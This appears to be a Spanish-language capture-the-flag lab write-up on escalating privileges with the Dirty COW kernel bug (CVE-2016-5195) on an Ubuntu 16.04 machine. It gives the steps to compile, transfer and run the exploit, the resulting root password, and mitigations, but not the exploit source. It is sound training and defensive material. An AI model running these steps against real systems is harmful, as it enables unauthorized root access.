Share
## https://sploitus.com/exploit?id=E852055A-8D3E-5D67-8BFF-60B3E51A7491
# 🐄 Privilege Escalation — Dirty COW (CVE-2016-5195)

> **Entorno de laboratorio controlado — Solo con fines educativos**

[![CVE](https://img.shields.io/badge/CVE-2016--5195-red?style=flat-square)](https://vulners.com/cve/CVE-2016-5195)
[![CVSS](https://img.shields.io/badge/CVSS-7.8%20HIGH-orange?style=flat-square)](https://nvd.nist.gov/vuln/detail/CVE-2016-5195)
[![Kernel](https://img.shields.io/badge/Kernel-4.4.0--21--generic-blue?style=flat-square)](#)
[![OS](https://img.shields.io/badge/Ubuntu-16.04%20LTS-E95420?style=flat-square&logo=ubuntu&logoColor=white)](#)
[![Status](https://img.shields.io/badge/Flag-Obtenida%20✓-brightgreen?style=flat-square)](#flag)

---

## 📋 Descripción

Este repositorio documenta el proceso de **escalamiento de privilegios** sobre una máquina Ubuntu 16.04 LTS vulnerable al exploit **Dirty COW**, explotando una condición de carrera en el mecanismo *Copy-On-Write* del kernel Linux que permite a un usuario sin privilegios escribir en regiones de memoria de solo lectura y obtener acceso `root`.

---

## 🎯 Objetivo del Laboratorio

| Campo | Detalle |
|---|---|
| **Vulnerabilidad** | CVE-2016-5195 — Dirty COW |
| **Sistema Víctima** | Ubuntu 16.04.1 LTS |
| **Kernel Vulnerable** | `4.4.0-21-generic` |
| **IP Objetivo** | `192.168.1.43` |
| **Usuario Inicial** | `student` |
| **Usuario Obtenido** | `root` |
| **Flag** | `4GEEKS{Y0u_G0t_R00t}` |

---

## 🧠 ¿Qué es Dirty COW?

**Dirty COW** (CVE-2016-5195) es una vulnerabilidad crítica de tipo **Race Condition** presente en el subsistema de memoria del kernel Linux. Fue descubierta en 2016 pero existía en el código desde 2007.

El exploit lanza dos hilos concurrentes:

- **Hilo 1** — Escribe repetidamente en `/proc/self/mem` apuntando a un archivo de solo lectura.
- **Hilo 2** — Llama a `madvise(MADV_DONTNEED)` para descartar la copia privada del proceso.

La condición de carrera entre ambos hilos hace que el kernel escriba en la página **original** del archivo (en este caso `/etc/passwd`), logrando modificar la contraseña de `root` sin tener permisos para ello.

---

## 🛠️ Entorno

```
Atacante:  Kali Linux (Rolling)
Víctima:   Ubuntu 16.04.1 LTS — Kernel 4.4.0-21-generic (192.168.1.43)
```

---

## 🚀 Explotación — Paso a Paso

### Fase 1 — Preparar el Entorno de Compilación (Docker)

El binario debe compilarse con la misma versión de glibc que el sistema víctima (Ubuntu 16.04 / glibc 2.23). Se usa Docker en Kali para evitar incompatibilidades.

```bash
sudo apt update && sudo apt install docker.io -y
sudo systemctl start docker && sudo systemctl enable docker

# Descargar imagen Ubuntu 16.04
sudo docker pull ubuntu:16.04

# Crear y acceder al contenedor
sudo docker run -it --name compile-ubuntu16 ubuntu:16.04
```

### Fase 2 — Instalar Dependencias y Compilar el Exploit

Dentro del contenedor:

```bash
apt update
apt install build-essential nano g++ -y

# Escribir el código fuente del exploit
nano dirty.cpp

# Compilar
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dirty dirty.cpp -lutil

exit
```

### Fase 3 — Extraer el Binario del Contenedor

```bash
sudo docker cp compile-ubuntu16:/dirty ./dirty
```

### Fase 4 — Transferir el Exploit al Sistema Víctima

```bash
scp dirty student@192.168.1.43:/home/student
```

### Fase 5 — Ejecutar el Exploit y Escalar Privilegios

```bash
# Conectarse por SSH
ssh student@192.168.1.43

# Dar permisos y ejecutar
chmod +x dirty
./dirty
```

Salida esperada:

```
Running ...
Received su prompt (Password: )
Root password is:  dirtyCowFun
Enjoy! :-)
```

```bash
# Escalar a root
su root
# Password: dirtyCowFun

# Capturar la flag
cd ~
cat flag.txt
```

---

## 🚩 Flag

```
4GEEKS{Y0u_G0t_R00t}
```

---

## 🔍 Indicadores de Compromiso (IoC)

| Indicador | Valor |
|---|---|
| Archivo exploit | `dirty` / `dirty.cpp` |
| Archivo modificado | `/etc/passwd` |
| Credencial establecida | `root : dirtyCowFun` |
| Vector de acceso | SSH puerto 22 |

---

## 🛡️ Mitigaciones

- **Actualizar el kernel** a versión `>= 4.8.3` o aplicar parches de seguridad (`sudo apt update && sudo apt upgrade`).
- **Configurar ptrace scope**: agregar `kernel.yama.ptrace_scope = 2` en `/etc/sysctl.conf`.
- **Monitorear `/etc/passwd`** con `auditd` o un IDS para detectar modificaciones inesperadas.
- **Usar autenticación SSH por clave pública** y deshabilitar el acceso por contraseña.
- **Segmentar el acceso SSH** mediante firewall a redes de administración autorizadas.

---

## 📚 Referencias

- [NVD — CVE-2016-5195](https://nvd.nist.gov/vuln/detail/CVE-2016-5195)
- [Ubuntu Security Notice USN-3107-1](https://ubuntu.com/security/notices/USN-3107-1)
- [Repositorio original del exploit (dirtycow)](https://github.com/dirtycow/dirtycow.github.io)

---

## ⚠️ Aviso Legal

Este repositorio tiene **exclusivamente fines educativos**. Toda la actividad documentada fue realizada en un entorno de laboratorio controlado y con autorización. La replicación de estas técnicas en sistemas sin autorización expresa constituye un delito en la mayoría de jurisdicciones.

**No me hago responsable del uso indebido de esta información.**